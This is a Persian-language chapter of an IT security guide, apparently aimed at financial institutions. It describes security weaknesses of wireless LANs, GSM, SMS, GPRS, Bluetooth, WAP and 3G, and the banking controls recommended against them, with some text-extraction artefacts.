 رسـانة   - كه در تمام جهان درحـال توسـعه اسـت            -سيم    بي
شتاب چشمگير كشورها جهت سازگاري با بـستر     . امني نيست 

  .سيم سرگرداني بزرگي ايجاد كرده است  بي فناوري

  سيم محلي هاي بي شبكه  .ج 
سيم درحال حاضر بـه سـه شـكل در دسـترس              هاي بي   شبكه
 802.11bسيم محلي كه از پروتكل        هاي بي   شبكه: باشند  مي

تلفـن   (CDMA/TDMA/GSMهاي    كنند؛ شبكه استفاده مي 
هـا؛ و  PDAسيم و    مورد استفاده در تلفنهاي بي    ) PCSو  همراه  

ويو پرقدرت كه در شركتهاي تلفن جهـت          سيستمهاي مايكرو 
بـا اينكـه    . تبادل اطلاعات در مسافتهاي طولاني كاربرد دارند      

هر سه مورد فوق در سراسر دنيا معمول هـستند، امـا همگـي              
انس ضعف اساسي امنيتي دارند و آن استفاده از فرك        يك نقطه 
 براي انتقال اطلاعات است؛ چراكه اين مـسئله         (RF)راديويي  

  .هاي انتقالي بيانجامد تواند به افشاي داده مي

. سيم بصورت انفجـاري گـسترش پيـدا كردنـد           هاي بي   شبكه
هزينة ناچيز، سادگيِ نصب و برقراريِ مداوم اتـصالات باعـث           

 - بخصوص در مؤسسات خدمات مالي       -گسترش سريع آنها    
سـيم    هـاي بـي     رفت كـه شـبكه      در واقع گمان مي   . استشده  

هـاي سـنتي را داشـته باشـند امـا بـدون               همان كاربرد شبكه  
هـا بـدليل سـهولت كـار          گسترش اين شبكه  . استفاده از كابل  

كــاربران اســت و درحــال حاضــر در ايــالات متحــده تحــت  

                                                                  
بر اسـاس   . شودضررهاي مالي بيش از مقداري است كه گزارش مي        

تجربة من شركتهايي وجود دارند كه مايل نيستند ضررهاي ناشي از           
 بنظر من سال بـه سـال        .مورد نفوذ قرار گرفتن خود را گزارش كنند       

توان افـزايش زيـادي در زيـان شـركتها از آسـيبهاي اينچنينـي               مي
اند كـه هـر     مشاهده كرد، چراكه شركتها بيشتر به اين نتيجه رسيده        

كس ممكن است هدف يك حمله قرار بگيـرد، و قربـاني شـدن در               
حملات بتدريج مورد قبول واقع شده و ديگر انتشار اخبار مربوط بـه             

  ."شودندازة گذشته باعث از دست رفتن اطمينان عمومي نميآن به ا
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  امنيت فناوري اطلاعات و سازمانها: بخش سوم
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 GSM و در اروپا تحـت اسـتاندار   IEEE 802.11استاندارد 
سـيم، نگرانيهـاي      هاي بي   نگام طراحي شبكه  ه. شوندارائه مي 

  .مهم امنيتي وجود دارد كه بايد به آنها توجه شود

سيم هاي بي هفت دسته مخاطرات امنيتي اوليه در مورد شبكه       
  ١٥٣:قابل ذكر است

كند از طريق يك       نفوذگر سعي مي   :١٥٤حملات درج  . ۱
وارد " داده" ناامن، به شبكة شما      ١٥٥نقطه دسترسي سيار  

  .كند

" man in the middle" كه به :١٥٦سهسرقت جل . ۲
نيز معروف است، بر اساس اين ايده بوجود آمده كه در           

سيم، تلفـن هويـت خـود را بـراي          سيستم تلفنهاي بي  
كنـد، امـا ايـستگاه اينكـار را           ايستگاه ثابت تصديق مي   

تـوان يـك جلـسة        دهد؛ پس مي  براي تلفن انجام نمي   
 اينكه تلفن   سيم ميان تلفن و ايستگاه ثابت را بدون         بي

بتواند به موضوع پي ببرد سرقت كـرد و بـراي اينكـار             
  .سازي شود كافي است يك ايستگاه ثابت شبيه

 اين حمله از انواع حمـلات تخريـب         :پارازيت دادن  . ۳
 پخشو  پراكني سرويس است كه در آن نفوذگر با داده

كنـد   در فركانسِ كاريِ شبكة شما سعي مي       ١٥٧عمومي
ســيم ايجــاد  شــبكة بــيدر طيــف فركــانس راديــويي 

  . كند١٥٨سرريز

سـيم مبتنـي بـر        شبكة بـي  : ١٥٩حملات رمزنگاري  . ۴
IEEE 802.11 از الگـــوريتم WEPبـــراي  ١٦٠ 

ــي  ــتفاده م ــذاري اس ــد رمزگ ــز. كن ــذاري و  روش رم گ
بردارهاي مقـدار اوليـة ايـن اسـتاندارد بـسيار ضـعيف             

  .اندهستند و تاكنون بارها شكسته شده

 برد تقريبي   :باني   و انجام ديده    تصاحب ترافيك  . ۵
 حـدود   802.11bنقاط دسترسـي سـيار در اسـتاندارد         

اين به آن معناست كه هر فـردي بـا          .  فوت است  ۳۰۰

                                                                  
 CERTبندي مربوط به يكـي از اعـضاي مركـز تحليـل             اين دسته    ۱۵۳

  .است
154  Insertion Attacks 
155  Mobile Access Point 
156  Session Hijacking 
157  Broadcasting 
158  Flooding 
159  Encryption 
160  Wired Equivalent Privacy 

داشتن ابزار مناسب، درصـورتيكه در محـدوده ارسـال          
وسـايل  . ها باشد، قادر به دريافت آنها خواهد بـود            بسته

تقويت سيگنال و گسترش اين محدوده نيـز بـه وفـور            
اي كـه تـصاحب ترافيـك در آن         احيهمهياست؛ و لذا ن   

  .باشد ممكن است، وسيع و ايمن كردن آن مشكل مي

 اغلـب   :ارتباط نقطة سيار با نقطة سيار ديگـر        . ۶
ــيار   ــاط س ــه (نق ــل رايان ــل و  مث ــل حم ــاي قاب ــاPDAه ) ه

درصورتيكه خدمات اشتراك فايل يا هرگونـه خـدمات         
TCP/IP   ــاط ــه ارتب ــادر ب ــد، ق ــال باش ــا فع  روي آنه

اين مـسئله بـه     . مستقيم با يكديگر هستند   واسطه و     بي
اين معني است كه هر نقطة سيار قادر است يك فايـل    

  .يا برنامة خطرناك را از طريق شبكة شما منتقل كند

 هرگونه ابزار، خدمات، يـا برنامـة        :تنظيمات نادقيق  . ۷
كاربردي كه بطور صحيح پيكربندي نشده باشـد، كـل          

سياري از ابزارهـا    ب. دهد  شبكه را مورد مخاطره قرار مي     
فـرض  سـيم، بطـور پـيش       هاي كـاربردي بـي      و برنامه 
اند كه هرگونه درخواست خـدمات        اي تنظيم شده  بگونه

 آن معنا است كه هـر        اين به . پذيرند  يا دسترسي را مي   
گيرندة سيار دلخواه خواهد توانست درخواسـت         سرويس

  . نموده و پاسخ آنرا دريافت كندftp يا telnetجلسة 

اغلــب نقــاط دسترســي : Brute Force حمــلات . ۸
سيم، از يك كليد يا رمز عبور مشترك بـراي تمـام              بي

هاي   اين مسئله شبكه  . كنند  ابزارهاي شبكه استفاده مي   
مـثلاً بـر    (brute forceسـيم را در برابـر حمـلات     بي

 .ناامن كرده است) اساس يك فرهنگ لغت

War Driving  
فت فناوريهاي جديـد    جاسوسي صنعتي و جرائم اداري با پيشر      

 بـه معنـاي   War dialing. انـد به بالاترين حد خـود رسـيده  
 تلفنهــاي ســازمان و يــافتن شــمارة  تمــاس بــا تمــام شــماره

 ايـن .   داده استwar drivingهاي آن، جاي خود را به  مودم
هـاي محلـي      مفهوم جديد يعني جستجو بـراي يـافتن شـبكه         

بكة آنهـا بـا     سيم مؤسسات اقتصادي، و ضبط ترافيـك ش ـ         بي
 بـازرس ارشـد     ١٦١ديـو تومـاس   بنا به گفتـه     . رايانة قابل حمل  

اي درحـال   پديدهFBI ،war drivingاي  بخش جرائم رايانه
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 راهنماي امنيت فناوري اطلاعات ١٩٠

گسترش است كه امنيت تمام شركتها و مؤسساتي كـه داراي           
  .كند سيم هستند را تهديد مي  محلي بي شبكه

تقرار اين امكان وجود دارد كه راهبر شبكه هنگام تنظيم و اس ـ        
هاي قابل حمـل تنهـا در         سيم ببيند كه رايانه     شبكة محلي بي  

توانند به شـبكه متـصل        فاصلة محدودي از نقاط دسترسي مي     
شوند و درنتيجه گمان كند كه سيگنالهاي شبكه در فواصـلي           
دورتر از آن فاصله قابـل دسترسـي نيـستند، امـا ايـن فـرض             

 تـا   - متر   در حقيقت سيگنالها در طول هزاران     . نادرست است 
 قابـل   -جايي كه چيزي آنها را منحرف يا دچـار وقفـه نكنـد              

دليل آن استدلال غلط ايـن اسـت كـه آنـتن            . دريافت هستند 
توانـد سـيگنالهاي ضـعيف را       كوچك رايانة قابل حمـل نمـي      

تـوان بـرد      ، مي   دريافت كند؛ اما با استفاده از يك آنتن خارجي        
اي كه معمولاً بگونه  سيم شب   بخش بي . سيگنالها را افزايش داد   

است كه نفوذگر براي دسترسي به ترافيك آن نيازي ندارد به           
ها همين دليل اين شبكه     به. چيزي دسترسي فيزيكي پيدا كند    

نسبت به حملاتي چـون دزدي پيـام، تغييـر پيـام، يـا ارسـال         
  .پارازيت ميان پيام، داراي ضعف هستند

هاي در شبكه مسائل مذكور اهميت پرداختن به مسئله امنيت        
توان   هريك از ضعفهاي فوق را مي     . كنندسيم را روشن مي     بي

با استفادة مناسـب از سياسـتها و تجربيـات امنيتـي، طراحـي              
هـاي كـاربردي امنيتـي و پيكربنـدي صـحيح             شبكه، برنامـه  

آخـرين  . كنترلهاي امنيتي به حداقل رسانده و يـا از بـين بـرد            
حـوة امـن كـردن      فصلهاي بخش سوم به اطلاعاتي دربـارة ن       

  .پردازند سيم مي هاي محلي بي شبكه

  GSM: استاندارد تلفن همراه در اروپا  .د 
GSM ترين و درحال رشدترين استاندارد تلفن همراه          گسترده

درحـال حاضـر چيـزي      . ديجيتال مورد استفاده در جهان است     
 - در دنيا وجـود دارد       GSM ميليون مشترك    ۶۰۰نزديك به   

داد كـل ابزارهـاي سـياري كـه در          سوم تع ـ   رقمي بيش از دو     
 اين رقم با سرعت چهار كاربر جديد در         ١٦٢.جهان موجود است  

                                                                  
آمريكاي شمالي درحـال حاضـر هنگـام ارتبـاط بـا             GSMسيستم     ۱۶۲

. كنـد كـار مـي    1900MHzهاي شخصي با سـرعت      خدمات رايانه 
 SMS) Short Message عبارتنـد از  GSMاي خدمات داده
Servise( ،CSD )Analog Cellular Switched 

Data( و ،GPRS )General Packet Radio 
Service .( كنندة خدمات تلفن همراه گونـه     ركتهاي ارائه بيشتر ش-

ــي  GSMاي از  ــار م ــا در  را بك ــه ي ــد ك ــا در  900MHzبرن و ي

هـا را در       همة قـاره   GSMپوشش  . ثانيه درحال افزايش است   
كننـدة   ارائـه  ۴۰۰گيرد، بطوريكه فناوريِ مورد اسـتفادة         بر مي 

امـا ايـن تنهـا آغـاز     .  كشور دنيا است۱۷۰خدمات در بيش از    
  .سيم است يانقلاب فناوري ب

 در  ۲۰۰۵كنند كه تا پايان سال      بيني مي   محققان صنعتي پيش  
تلفنهـاي  .   وجود خواهد داشت   GSM ميليارد كاربر    ۱،۴حدود  

GSM              در داخل خـود داراي يـك كـارت كوچـك هوشـمند 
كند و به نـام       هستند كه مشخصات تلفن را در خود ذخيره مي        

 بايـد   SIM. شود   شناخته مي  ١٦٣)SIM (واحد شناسايي مشتري  
شـده نگهـداري    از مشخصات بصورت محرمانـه و رمزنگـاري       

توان بعنوان يك نقطة قوت و       هم مي  SIM؛ لذا به كارت       كند
 نگـاه  GSMهم بعنوان يك نقطة ضعف امنيتـي در فنـاوري     

  .كرد

  GSMنقاط ضعف 

  SIMپذيريهاي كارت آسيب
، روش دستيابي به شبكه     آمريكا و اروپا   GSMدر سيستمهاي   

كارتهـاي هوشـمند قابـل جابجـايي در تلفنهـا           .  استيكسان  
هـاي تمـاس، اطلاعـات        براي نگهداري شماره  ) SIMكارتهاي  (

افزارهاي جانبي مثل مرورگـر وب بكـار         حساب كاربري، و نرم   
شـوند،  شده در كارتها رمزنگاري مـي     هاي ذخيره   داده. روند  مي

 رود پـيش از   كه در اينكار بكار مي  COMP128اما الگوريتم   
سـاخت  (برداري  اين شكسته شده و لذا اين كارتها در برابر كپي     

 بـراي  War driving. ايمـن نيـستند  ) يك نسخة مشابه از خـود 
 اسـتفاده  GSMمشتركين تلفنهـاي همـراه كـه از اسـتاندارد          

مستقل از طيف فركانسي، با     . كنند مسئله خطرناكي نيست     مي
 همـراه را    تـوان سـيگنالهاي تلفـن     ارسال پارازيت براحتي مي   

يك روش بسيار معروف براي بدسـت آوردن        . دچار وقفه كرد  
 در كمتر از يك ثانيه      GSM١٦٤شدة گفتگوي   كليد رمزگذاري 

  .شودوجود دارد كه در آن از يك رايانة شخصي استفاده مي

                                                                  
1800MHz  علاوه بر اين كـشورهاي اروپـايي مـي        . كندكار مي-

 High Speed Circuit(توانند از مدار سوئيچي پرسـرعت داده  
Switched Data ،HSCSD (توانــد اســتفاده كننــد، كــه مــي

ــاي ار ــار    كاناله ــت ك ــا قابلي ــال ب ــك كان ــف را در ي ــاطي مختل تب
38.4KBPS ادغام كند .GPRS در بيشتر كشورها وجود دارد.  
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 SIMاز كـارت    .  بستگي به شرايط دارد    GSMامنيت فناوري   
ز امكانپـذير   نفـوذ بـه آن ني ـ     .  توان نسخة بدل ايجاد نمـود       مي

ايـن  . انـد است؛ چراكه الگوريتمهاي حساس آن شكسته شـده       
تواند به ناامن شـدن كامـل مكالمـات تلفنـي             مشكل آخر مي  

GSMنيز منجر شود .  

 مــشكلات GSMدر مــورد اســتفادة يــك بانــك از فنــاوري 
براي مثال اگر يك دستگاه خودپرداز      . ديگري هم وجود دارند   

ابراتي واقعي ارتباط برقـرار كنـد،   راه دور نتواند با يك برج مخ      
. توان آنرا براي برقراري ارتباط با يك برج جعلي فريب داد           مي

انجام اينكار براي نفوذگر امكان كنترل نقل و انتقالات انجـام           
  .گرفته در آن دستگاه خودپرداز را پديد خواهد آورد

  SMSپذيري  آسيب
GSM   خدمات پيامهاي كوتاه) SMS(دهد  ي را نيز ارائه م    ١٦٥ .
SMS    در سيستم GSM      كاربردهاي گوناگوني دارد، از جمله 

 مـشتري، ارسـال     SIM، به روزرساني      اعلانهاي پست صوتي  
ــا دروازه    ــاط ب ــي، و ارتب ــاه متن ــاي كوت ــست  پيامه ــاي پ ه

با وجود اينكه مـوارد فـوق خـدمات پركـاربردي           . الكترونيكي
هستند، اما مخاطرات امنيتـي جديـدي بـراي شـبكه بوجـود             

 ذخيره و ارسال پيام است كه         نوعي سرويس  SMS. آورند مي
ساده باشد، چراكه در آن تمام پيامها بصورت متن     ذاتاً ناامن مي  

 SMSسازي آنها در مركز       شوند و ذخيره    و رمزنشده تبادل مي   
از ديگـر   . پيش از ارسال به مقصد نيز بصورت رمزنشده اسـت         

. باشـد   تأخير در رسيدن پيام بـه مقـصد مـي          SMSمشكلات  
تواننـد   تراكنشهايي كه از نظر زماني اهميت زيادي دارند نمـي        

افزارهـاي    از طرف ديگـر نـرم     . به اين سرويس اطمينان كنند    
 SMSتـوان بوسـيلة آنهـا         رايگان زيادي وجود دارند كه مـي      

 سـيلي از بمبهـاي      SMSها و مراكز    جعلي ساخت، به گوشي   
SMS    هاي    فرستاد، و يا بستهSMS  طراحي كرد   اي را بگونه 

  .ها شوند افزارها در بيشتر گوشي  كه منجر به خرابي نرم

توانـد بـراي رمزنگـاري     مي ١٦٦)SIM) STKابزار  فناوري جعبه 
SMS  با اينحال   .  بكار رودSTK     لايـة   يك ساز و كار امنيتي
 را  ١٦٨محرمانگي پايانـه بـه پايانـه      تواند     است، و نمي   ١٦٧انتقال

توانـد   مـي  SMSنيـت   يك روال ديگر بهبود ام    . تضمين كند 
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بررسي شخصي مشتريان بـراي يـك قطعـه پيـام قـراردادي             
كننـدة خـدمات و درنتيجـه       بمنظور تضمين كل پيـام و ارائـه       

  .شدة مشتريان باشدتلفنهاي ثبتبررسي شماره

  GPRSپذيري  آسيب
GPRSنوعي خدمات مبتني بـر       ١٦٩ IP     اسـت كـه برقـراري 

 مشكل عمدة اين    . كند  اتصال دائمي به اينترنت را تضمين مي      
 SMS به   WAPمكانيزم اين است كه هنوز براي تقاضاهاي        

تواند به يك تلفـن        تقلبي مي  SMSيك بستة   . وابستگي دارد 
فرستاده شود و يك پايگاه وب جعلي را باز كند، و كـاربران را              
طوري فريب دهد كه اطلاعات خود را در يك فرم كه گمـان             

 در حقيقـت تقلبـي اسـت        كنند از ايمني برخوردار است اما     مي
 دارنـد از    GPRSبسياري از تلفنهايي كه قابليـت       . وارد كنند 

هـر دسـتگاه بـا قابليـت        .  نيز برخوردارند  bluetoothقابليت  
bluetooth        شامل يك آدرس منحصر به فرد اسـت كـه بـه 

دهد به نوعي به شخصي كه در طـرف ديگـر             كاربر امكان مي  
همينكـه ايـن شناسـه بـه        . ارتباط است نوعي اعتماد پيدا كند     

يك كاربر اختصاص داده شد، با دنبال كردن پيامها و بررسـي      
در . تـوان فعاليتهـاي كـاربر را ضـبط نمـود            شناسة آنهـا مـي    

 براي برقـراري ارتبـاط، يـك        bluetoothابزارهاي مبتني بر    
شود كه براي تـصديق هويـت       فرآيند مقداردهي اوليه آغاز مي    

اگرچه برخـي ابزارهـا بـه شـما         . كند   استفاده مي  PINاز يك   
 را  PINتوان    دهند، اما مي     را مي  PINاجازه وارد كردن شمارة     

در حافظة يك دسـتگاه الكترونيكـي يـا ديـسك سـخت نيـز          
درصورتيكه امنيت فيزيكي دستگاه تأمين نباشـد       . ذخيره نمود 

همچنـين  . اي بـه بـار بياينـد      ممكن است مـشكلات عديـده     
ار رقمي هـستند، و شـايد در        ها اعداد چه  PINرمزهاي غالب   

  . باشد0000نيمي از موارد اين عدد 

 در گــرو نگهــداري از كليــد رمزنگــاري bluetoothامنيــت 
اما تـصور   . بصورت يك راز مشترك ميان اعضاي شبكه است       

ــت     ــه قابلي ــود ك ــراه خ ــا تلفنهــاي هم ــن و شــما ب ــد م كني
bluetooth       بـراي برقـراري   .  دارند درحـال مكالمـه هـستيم

هاي مكالمـه را      كالمه، من با استفاده از كليد شما داده       امنيت م 
كمي بعـدتر يكـي از دوسـتانتان بـا شـما            . كنمنگاري مي   رمز

. كنيـد   گيرد و شما مجدداً از كليد خود اسـتفاده مـي            تماس مي 
دانم با اسـتفاده از يـك آدرس جعلـي          من كه كليد شما را مي     
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 راهنماي امنيت فناوري اطلاعات ١٩٢

لمـة شـما    توانم نوع رمزگذاري را تشخيص دهم، و به مكا        مي
توانم خودم را به جاي شما يا كـسي         همچنين مي . گوش كنم 

 bluetoothبنابراين  . كه درحال مكالمه با شما است جا بزنم       
  .كند، نه كاربران را تنها ابزارها را تصديق هويت مي

  WAPضعفهاي 
 صـرفنظر از  -ضعف مشترك تمام ابزارهاي بررسي شده   نقطه

 ١٧٠)WAP (سـيم ربرد بـي  پروتكـل كـا   اسـتاندارد -نوع شبكه  
زبـان   و   ١٧١)WML (سـيم زبـان علامتگـذاري بـي     است كه از    

.  تـشكيل شـده اسـت   ١٧٢)HDML (علامتگذاري وسايل دستي  
تر شدن كار، تا حد ممكن تـلاش          دهندگان براي راحت    توسعه
اي باشـد كـه كـاربر هنگـام         كنند طراحي سناريوها بگونـه    مي

كوتـاهترين  استفاده از خدمات مختلف ملـزم بـه وارد كـردن            
 مثلاً اعدادي كه بعنوان شـماره كـارت         -ورودي ممكن باشد    

اين به  . شونداعتباري يا شمارة حساب شخصي وارد رايانه مي       
هـا درون     آن معنا است كه همچنان قـسمت اعظـم ايـن داده           

شـوند، و در وسـيلة دسـتي مربوطـه     دهنده ذخيره مي    سرويس
كـه بـسياري     حاوي رمز عبـور قـرار دارد؛         cookieتنها يك   

اوقات براي كارهايي مثال خريد اينترنتي يـا انتقـال سـرمايه            
نيـاز   نياز دارد و گاهي حتي از آن هـم بـي           PINصرفاً به يك    

بنابراين مـسئله امنيـت تبـادلات ميـان دسـتگاهها در            . است
امنيـت لايـة    سيم بر عهدة استاندارد ديگري به نـام           شبكة بي 
  .باشد مي١٧٣)WTLS (سيمانتقال بي

 بيتـي موبايـل يـا       ۱۲۸ SSL١٧٤ا زمانيكه از كه از استاندارد       ت
ها بدليل كمبود پهناي باند و قدرت  كه بيشتر گوشي (IPSecپروتكل 

استفاده نشود، همواره در قسمتي ) كنند پردازش از آن پشتيباني نمي   
تواند مورد  از شبكه يك حلقة ضعيف امنيتي وجود دارد كه مي         

 نيـز ضـعفهاي      تـي در اينـصورت    ح. سوء استفاده قرار بگيـرد    
همچنـان وجـود    ) و نـه كانـال ارتبـاطي      (امنيتي در داخل وسيله     

-دار مـي  خواهد داشت؛ و لذا امنيت ارتباط به سـادگي خدشـه          
كند كه معادل      استفاده مي  WTLS و   WAP از   GSM. شود

SSL        است اما با يك الگوريتم رمزگذاري ضـعيفتر  .WTLS 
. باشـد  اسـت سـازگار نمـي       كه يك استاندارد صنعتي    SSLبا  

روند و از آنجا وارد  ميgatewayسيم درون يك    پيامهاي بي 
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شوند تا بـه سـمت مقـصد نهـايي خـود           يك شبكه سيمي مي   
 SSL بــه WTLS، پيــام gatewayدر آن . هــدايت گردنــد

 پيام براي چند ثانيه رمزگشايي      gatewayدر  . شود  تبديل مي 
كل ارتباط نـسبت بـه        شود كه گردد و همين امر باعث مي       مي

  .پذير گردد دزديِ پيام آسيب

  GSMحلهاي امنيتي براي  راه  .ه 
تلفنهــا و .  براحتــي قابــل رفــع نيــستندGSMنقــايص ذاتــي 

PDA   هايي كه از فناوري  GSM  كنند عموماً قادر      استفاده مي
 GSMاگرچـه   . باشـند افزارهاي محافظ نمي  به استفاده از نرم   

 نسبت به   - 802.11ندارد   استا -مثل همتاي آمريكايي خود     
war drivingضعف اساسـي  پذير نيست، اما چند نقطه آسيب

ها است و نه وسـايل         مربوط به رايانه   802.11استاندارد  . دارد
تواند به طرز مـؤثري نـسبت       دار، و لذا امنيت در آن مي      گوشي

) هـا VPN(هاي خصوصي مجازي      شبكه.  بهبود يابد  GSMبه  
ي ايـن دو اسـتاندارد هـستند، و         پـذيريها فصل مشترك آسيب  

حلــي بــراي رفــع     معمــولاً بعنــوان راه VPNاســتفاده از 
بـا  . رود   بـشمار مـي    GSM و   802.11پذيريهاي فعلي     آسيب

توان از يك لاية خاص انتظـار       اينحال در امنيت چندلايه نمي    
هـاي   اطلاعات بيـشتر در مـورد امنيـت شـبكه    . معجزه داشت 

ن همين بخش كتاب و نيز بخـش        توانيد در پايا  سيم را مي    بي
  . بيابيد) امنيت فناوري اطلاعات و راهبران فني(پنجم 

  تجارب امنيت بانكداري  .و 
 در خدمات مـالي     GSMدر نتيجة گسترش فراوان استفاده از       

الكترونيكي، استانداردهاي كنترلـي و امنيتـي چنـدي بوجـود           
اند كه مؤسـسات مـالي درصـورت اسـتفاده از دسترسـي             آمده
  . در خدمات پرداخت بايد آنها را مورد توجه قرار دهندسيم بي

   پرداخت از طريق شخص ثالث

بعنوان يك قاعدة كلي، بانكها بايد مستقيماً مشتريان خـود را           
ممكـن اسـت    . سيم تصديق هويت كنند     در معاملات مالي بي   

بعضي از مشتريان به بانك اختيار دائمي بدهند كـه بتوانـد از             
رداشت كند و به حـساب برخـي اشـخاص         حساب آنها اعتبار ب   
توانــد از طريــق  چنــين توافقهــايي مــي. ثالــث واريــز نمايــد

 صـورت   ١٧٥هاي تصديق اعتبار حسابرسي مـستقيم     موافقتنامه
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هـا،  بـا اينحـال درصـورت عمـل بـه ايـن موافقتنامـه             . بگيرد
هـا  ID(هاي بانكي مشتريان      اشخاص ثالث نبايد بتوانند شناسه    

  .د يا آنها را ذخيره نمايندرا بدست آورن) هاPINو 

  حسابهاي ذخيره

شـود     توسط مشترياني استفاده مي    ١٧٦)SVA (حسابهاي ذخيره 
 SVA. كنند  اي به اين حسابها پول واريز مي        كه بصورت دوره  

هنگـام انجـام    . تواند روي دسـتگاههاي سـيار قـرار گيـرد           مي
عمليات پرداخت، هيچ حساب بانكي نبايد مورد دسترسي قرار         

راي انتقال اعتبار از يك حساب بانكي به يك حـساب           ب. گيرد
SVA             حتماً صاحب آن حساب بانكي بايد شخـصاً بـه اينكـار 

  .اقدام كند

  سيم پرداختهاي نزديك بي

ــدمات ــي  خ ــك ب ــت نزدي ــيم  پرداخ ــراي  ١٧٧س ــولاً ب  معم
ايـن تراكنـشها   . رونـد  فروشيهاي خارج از تعداد بكار مـي     خرده

  تري در نقطـة فـروش     تنها بايد زماني كامـل شـوند كـه مـش          
اگر چنين تصديق هويتي صورت     . صراحتاً تصديق هويت شود   

نگرفته باشد، اين امكان وجود خواهد داشت كه حساب بانكي          
 دچار كـسري    مربوطه بطور غيرارادي SVAمشتري از طريق    

بنابراين براي هر نوع درخواست پرداخت وجه، تـصديق         . گردد
  .هويت صريح مشتري بايد اجباري باشد

   صوتي پاسخ تعاملي

 نسبت بـه  ١٧٨)Mobile IVR (پاسخ تعاملي صوتي سيارخدمات 
 نبايـد   IVRاز سيـستمهاي    . پـذير هـستند     سمع آسيب   استراق

تمام اتصالات  .  استفاده كرد   براي خدمات پربها و يا پرمخاطره     
IVR -  ــاس ــن تم ــماره تلف ــه ش ــب   از جمل ــده و ترتي گيرن

يد ثبت شود؛ امـا ايـن       شده توسط مشتري با   تراكنشهاي انجام 
 و اطلاعات تصديق هويت     PINثبتها به هيچوجه نبايد شامل      

  .مشتري گردد

   آموزش مشتري

سـيم    كنندگان خدمات مالي الكترونيكي بي    بانكها بايد مصرف  
  :را به روشهاي زير آموزش دهند
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به مشتري بايد توصيه شود كه براي خـدمات مختلـف          •
  .هاي متفاوت استفاده كند PINاز 

هاي بانكداري و پرداخـت       راي استفادة ايمن از برنامه    ب •
سيار بايد دستورالعملهايي در زمينة پيكربندي ابزارهاي       

  .سيار به مشتري داده شود

اطلاعات لازم در مورد مواجهه با مشاجرات، روالهـاي          •
دهي و زمان مورد انتظار رفع و رجوع شـكايات          گزارش

  .بايد به مشتري ارائه گردد

  نسل سوم فناوري: ندهنگاه به آي

شـود و      خوانده مـي   3Gسيم به اختصار      نسل سوم فناوري بي   
سـيم در اسـتانداردهاي مختلـف         به پيشرفتهاي ارتباطات بـي    

هدف اولية اين طرح بـالابردن سـرعت انتقـال از           . اشاره دارد 
در زمينـة   .  مگابيت در ثانيـه اسـت      ۲ كيلوبيت در ثانيه به      ۹،۵

 اصلي طراحي يك سيستم      ، هدف   امنيت سيستمها و ارتباطات   
بدون نقص نيست، بلكه طراحي سيستمي است كه اگـر نيـاز            
به آن احساس شد بتواند با پيشرفتهاي امنيتي سازگاري پيـدا           

هـاي نـسل      بسياري از حملاتي كه وقوع آنهـا در شـبكه         . كند
تر از آن ممكن بـود، در محيطهـاي     دوم و حتي كمي پيشرفته    
  .اندنسل سوم بكلي حذف شده

  استحكام ساختار امنيتي نسل سوم

 طراحي شده اسـت،     GSMامنيت نسل سوم بر مبناي امنيت       
  :اما با تغييرات زير

اي موسـوم بـه       يكي از تغييرات براي غلبـه بـر حملـه          •
در ايـن مكـانيزم     .  انجام گرفت  ١٧٩ايستگاه ثابت جعلي  

هـاي تـصديق هويـت    امنيتي يك شمارة توالي به داده   
كند دستگاه سيار خواهد    ضمين مي شود كه ت  اضافه مي 

  .توانست شبكه را مورد شناسايي قرار دهد

طول كليد رمـز افـزايش يافتـه تـا امكـان اسـتفاده از                •
  .الگوريتمهاي رمزگذاري قويتر هم فراهم شود

هـا و   مكانيزمهايي بـراي بهبـود امنيـت داخـل شـبكه           •
  .ارتباطات ميان آنها لحاظ شده است
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ت مبتنـي بـر سـوئيچ شـده         امنيت به جاي ايستگاه ثاب     •
بنابراين اتصالات ميـان ايـستگاه ثابـت و        ). GSMمثل  (

  .سوئيچ مورد محافظت قرار دارند

 بجـاي   ١٨٠)IMEI (مكانيزمهاي يكپارچگي هويت پايانه    •
  .اند وجود داشت، از نو طراحي شدهGSMآنچه كه در 

الگوريتم تصديق هويت تعريف نـشده، امـا راهنمـايي           •
  .شود يتم ارائه ميبراي انتخاب يك الگور

 و  GSM، مثلاً بـين       ها  زدن ميان شبكه  در زمان گشت   •
3GPP      تنها سطحي از پشتيباني كـه بوسـيلة كـارت ،

بنابراين كـارت   . شودهوشمند صورت گرفته اعمال مي    
ــة 3GPP در شــبكه GSMهوشــمند  ــر حمل  در براب

ايستگاه ثابت جعلـي همچنـان مـورد محافظـت قـرار            
  .ندارد

 از امنيـت      خـود  GSMسبت بـه همتـاي      سيستم نسل سوم ن   
البته همـانطور كـه گفتـه شـد         .  بسيار بيشتري برخوردار است   

هوشمندي و زيركي مهاجمين را هيچگـاه نبايـد دسـت كـم             
هـاي نـسل   بنابراين از ديد مبتني بر تئوري، در شـبكه       . گرفت

سوم نيز امكان وقوع حملات جدي وجود دارد كه ذيلاً به آنها    
  .شوداشاره مي

  عتماد به ايستگاه ثابت جعليا

اي است كه به يك ايستگاه ثابت يا ايـستگاه            ، حمله   اين حمله 
پـذيري اسـتفاده      شده نياز دارد و از اين آسـيب       سيار دستكاري 

كند كه ممكن است كاربر به يـك ايـستگاه ثابـت جعلـي              مي
تواند گاهي در نقش    يك ايستگاه ثابت جعلي مي    . متصل شود 

كننـدة درخواسـتهاي     نيز در نقش تقويـت     تكراركننده و گاهي  
تبــادلي ميــان شــبكه و كــاربر عمــل كنــد، و در ايــن ميــان  

  .درخواستها يا پيامهاي مورد نظر را تغيير دهد

تواند از دستكاري پيامهاي تبـادلي ميـان        معماري امنيتي نمي  
حفاظـت از جامعيـت پيامهـاي    . شبكه و كاربر جلوگيري نمايد 

 پيشگيري از وقـوع برخـي حمـلات         تواند به   حياتي شبكه مي  
 كه با ايجاد تغيير در محتواي پيام صـورت        -تخريب سرويس   

در اينجا، حملـة تخريـب سـرويس        .  نيز كمك كند   -  گيرد  مي
توانـد ادامـه يابـد كـه نفـوذگر فعـال باشـد؛                تنها تا زماني مي   

برخلاف حملات بالا كه بعد از پايان دخالت نفوذگر هم ادامه           
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اين حملات قابل قياس با حملاتي چون ارسال        . كنندپيدا مي 
پارازيتهاي راديويي هستند كه اگر بخـواهيم آنهـا را در تمـام             
سيستمهاي راديويي خنثي كنيم، با مـشكلات زيـادي روبـرو           

  .هستيم

  اجبار به ارتباطات رمز نشده

اين نوع حمله نيز به يـك ايـستگاه ثابـت يـا ايـستگاه سـيار                 
مانيكه كاربر مورد نظر بـه ايـستگاه        ز. شده نياز دارد  دستكاري

، مهاجم قربـاني را بـا يـك تمـاس             كند  ثابت جعلي اعتماد مي   
اندازي اوليـه را      كاربر نيز روال راه   . دهد  تلفني مخاطب قرار مي   

